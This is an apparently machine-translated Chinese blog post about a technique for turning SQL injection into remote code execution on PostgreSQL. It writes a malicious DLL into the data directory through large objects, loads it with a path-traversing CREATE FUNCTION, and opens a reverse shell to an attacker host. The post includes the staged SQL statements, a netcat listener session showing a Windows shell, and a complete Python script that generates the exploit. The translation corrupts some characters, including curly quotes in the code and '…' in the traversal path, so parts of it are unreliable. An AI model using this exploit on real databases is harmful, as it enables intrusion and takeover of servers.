SQL注入双Uppercut :: 如何实现针对PostgreSQL的远程代码执行

当我研究Cisco DCNM 中发现的 SQL 注入漏洞的利用原语时,我遇到了一种通用技术来利用 SQL 注入漏洞攻击 PostgreSQL 数据库。在开发您的漏洞利用原语时,总是倾向于使用不依赖其他底层技术的应用程序技术。
TL; 博士; 我分享了另一种技术来实现对 PostgreSQL 数据库的远程代码执行。

应用程序技术是能够破坏数据库完整性并利用应用程序代码和数据库之间的信任。就 Cisco DCNM 而言,我发现了 4 种不同的技术,其中 2 种我在博客中介绍过(目录遍历和反序列化)。

先前的研究
虽然我当时并不知道,Jacob Wilkin已经报告了一种更简单的方法来实现对 PostgreSQL 的代码执行,方法是 (ab) using copy from program。最近,Denis Andzakovic 还详细介绍了他通过(ab)使用对postgresql.conf文件的读/写来获得针对 PostgreSQL 的代码执行的方法。

我本来打算坐这个技术,但自从丹尼斯暴露了lo_export剥削的力量,我想在棺材上再钉一颗也不会痛;->

我做了一些测试,发现在windows下,NETWORK_SERVICE不能修改postgresql.conf文件,所以Denis的技术是*nix特定的。但是,他的技术不需要堆叠查询,因此在某些情况下非常强大。

CREATE FUNCTION obj_file 目录遍历
CVE:不适用
CVSS: 4.1 (AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:L)
环境
这种技术适用于 *nix 和 Windows,但确实需要堆叠查询,因为我们正在利用create 函数操作。

概括
在最新版本的 PostgreSQL 上,superuser不再允许从C:\Program Files\PostgreSQL\11\libWindows 或/var/lib/postgresql/11/lib*nix之外的任何其他地方加载共享库文件。此外,此路径不可由 NETWORK_SERVICE 或 postgres 帐户写入。

但是,经过身份验证的数据库superuser可以使用“大对象”将二进制文件写入文件系统,当然也可以写入C:\Program Files\PostgreSQL\11\data目录。这样做的原因应该很清楚,用于更新/创建数据库中的表。

潜在的问题是CREATE FUNCTION操作员允许目录遍历到数据目录!所以本质上,经过身份验证的攻击者可以将共享库文件写入数据目录并使用遍历加载共享库。这意味着攻击者可以执行本机代码,从而执行任意代码。

攻击流程
阶段 1 -我们首先在pg_largeobject表中创建一个条目。

select lo_import(‘C:/Windows/win.ini’, 1337);
我们可以在此处轻松使用 UNC 路径(并跳过步骤 3),但由于我们想要一种独立于平台的技术,我们将避免这种情况。

阶段 2 -现在我们修改pg_largeobject条目以包含完整的扩展。此扩展需要针对目标 PostgreSQL 数据库的确切主要版本进行编译,并与其架构相匹配。

对于长度大于 2048 字节的文件,该pg_largeobject表使用该pageno字段。所以我们必须将我们的文件分成大小为 2048 字节的块。

update pg_largeobject SET pageno=0, data=decode(4d5a90…) where loid=1337;
insert into pg_largeobject(loid, pageno, data) values (1337, 1, decode(74114d…));
insert into pg_largeobject(loid, pageno, data) values (1337, 2, decode(651400…));

通过在 PostgreSQL 中使用对象标识符类型,可能可以跳过阶段 1(并且仅对阶段 2 执行单个语句执行),但我没有时间确认这一点。

第 3 阶段 -现在我们可以将二进制文件写入数据目录。请记住,我们不能在这里使用遍历,因为它已被检查,但即使我们可以,NETWORK_SERVICE 帐户的严格文件权限也存在,我们的选择有限。

select lo_export(1337, ‘poc.dll’);
第 4 阶段 -现在,让我们触发库的加载。

我在几年前教过的一堂课中演示过,您可以使用固定路径(包括 UNC)来加载针对 PostgreSQL 9.x 版的扩展,从而获得本机代码执行。@zerosum0x0 通过在文件系统上使用具有固定路径的文件写入技术来证明这一点。但当时,文件系统的权限并没有那么严格。

create function connect_back(text, integer) returns void as ‘//attacker/share/poc.dll’, ‘connect_back’ language C strict;
然而,几年过去了,PostgreSQL 开发人员决定阻止固定路径,唉,这种技术现在已经死了。但是我们可以简单地从 lib 目录遍历并加载我们的扩展!create function附加.dll字符串的底层代码,所以不要担心附加它:

create function connect_back(text, integer) returns void as ‘…/data/poc’, ‘connect_back’ language C strict;
第 5 阶段 -触发您的反向 shell。

select connect_back(‘192.168.100.54’, 1234);
需要考虑的事项
您也可以加载 DllMain,但查看错误日志是检测的单程票!
如前所述,您需要使用相同的 PostgreSQL 版本(包括架构)编译 dll/so 文件。
你可以下载我在这里使用的扩展,但你需要自己编译它。
有趣的事实
ZDI 最初获得了这个案例,但从未发布过公告,后来我被告知供应商没有修补这个问题,因为它被认为是一个功能而不是一个错误。

自动化
此代码将生成一个 poc.sql 文件,以超级用户身份在数据库上运行。例子:

steven@pluto:~/postgres-rce$ ./poc.py
(+) usage ./poc.py <dll/so>
(+) eg: ./poc.py 192.168.100.54 1234
steven@pluto:~/postgres-rce$ ./poc.py 192.168.100.54 1234 si-x64-12.dll
(+) building poc.sql file
(+) run poc.sql in PostgreSQL using the superuser
(+) for a db cleanup only, run the following sql:
SELECT lo_unlink(l.oid) FROM pg_largeobject_metadata l;
DROP FUNCTION connect_back(text, integer);
steven@pluto:~/postgres-rce$ nc -lvp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from 192.168.100.122 49165 received!
Microsoft Windows [Version 6.3.9600]
© 2013 Microsoft Corporation. All rights reserved.

C:\Program Files\PostgreSQL\12\data>whoami
nt authority\network service

C:\Program Files\PostgreSQL\12\data>
#!/usr/bin/env python3
import sys

if len(sys.argv) != 4:
print("(+) usage %s <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)

host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, “rb”) as dll:
d = dll.read()
sql = “select lo_import(‘C:/Windows/win.ini’, 1337);”
for i in range(0, len(d)//2048):
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += “update pg_largeobject set pageno=%d, data=decode(’%s’, ‘hex’) where loid=1337;” % (i, d[start:end].hex())
else:
sql += “insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode(’%s’, ‘hex’));” % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end = (i+1) * 2048
sql += “insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode(’%s’, ‘hex’));” % ((i+1), d[end:].hex())

sql += “select lo_export(1337, ‘poc.dll’);”
sql += “create function connect_back(text, integer) returns void as ‘…/data/poc’, ‘connect_back’ language C strict;”
sql += “select connect_back(’%s’, %d);” % (host, port)
print("(+) building poc.sql file")
with open(“poc.sql”, “w”) as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")

上一篇:PG常用操作笔记(一)


下一篇:postgresql分区技术及其优化